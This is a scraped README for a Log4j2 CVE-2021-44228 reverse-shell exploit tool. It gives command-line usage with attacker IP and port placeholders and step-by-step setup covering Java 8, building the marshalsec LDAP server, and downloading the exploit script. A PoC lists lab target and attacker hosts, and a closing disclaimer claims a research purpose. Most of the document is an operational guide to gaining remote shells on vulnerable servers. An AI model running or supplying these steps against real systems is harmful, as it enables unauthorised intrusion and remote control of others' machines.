## https://sploitus.com/exploit?id=3A1D442B-2B5B-5DEA-9276-9A9B6C06C9DF
# Log4j2-CVE-2021-44228-revshell
## Usage
For reverse shell:
$~ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort] -hp [HTTPServerPort]
For check exploitable:
$~ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort]
$~ python3 Log4j2-revshell.py -h
usage: Log4j2-revshell.py [-h] -M MODE -u TARGET -l LHOST -p LPORT
[-hp HTTPPORT] [-V]
Log4j2 CVE-2021-44228 Reverse Shell
optional arguments:
-h, --help show this help message and exit
-M MODE, --mode MODE Mode: check | rev
-u TARGET, --target TARGET
Target full URL, http://www.victimLog4j.xyz:8080
-l LHOST, --lhost LHOST
Attacker IP for receive revshell
-p LPORT, --lport LPORT
Attacker port for receive revshell
-hp HTTPPORT, --httpport HTTPPORT
HTTP server port on attacker host, default is 8888
-V, --version show program's version number and exit
## Requirement
1. Marshalsec jndi.LDAPRefServer # see here, https://github.com/mbechler/marshalsec
2. Java 8 # you can get Java 8 here https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html,
suggested to install jdk-8u181-linux-x64.tar.gz [Java 1.8.0_181]
3. This script, Log4j2-revshell.py
## TLDR; Guided step
$ Open browser and Download Java 8 from https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
In Java SE Development Kit 8u181 section, select jdk-8u181-linux-x64.tar.gz or appropriate package based on your OS.
$ sudo mkdir /usr/lib/jvm #Make this dir if you do not have yet
$ cd /usr/lib/jvm
$ sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz #Extract downloaded jdk-8u181-linux-x64.tar.gz into /usr/lib/jvm
$ sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1
$ sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1
$ sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1
$ sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
$ sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
$ sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
$ java -version #verify if you are running Java 1.8.0_181
$ git clone https://github.com/mbechler/marshalsec /tmp/Log4j2-dir; cd /tmp/Log4j2-dir #Install marshalsec jndi.LDAPRefServer
$ sudo apt install -y maven #Build marshalsec with the Java builder maven. If you do not have maven, please install first
$ mvn clean package -DskipTests #Build marshalsec tool with maven
$ cd /tmp/Log4j2-dir; wget -q https://raw.githubusercontent.com/faisalfs10x/Log4j2-CVE-2021-44228-revshell/main/Log4j2-revshell.py
$ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l [AttackerIP] -p [AttackerPort] -hp [HTTPServerPort]
## PoC
target host: http://192.168.5.122:8080
attacker host: 192.168.5.120
https://user-images.githubusercontent.com/51811615/146068317-23af25f4-9e5b-42bb-960b-6775edd5be03.mp4
## Tested on
- Ubuntu 18.04
## Disclaimer:
The script is for security analysis and research only, hence I would not be liable if it is been used for illicit activities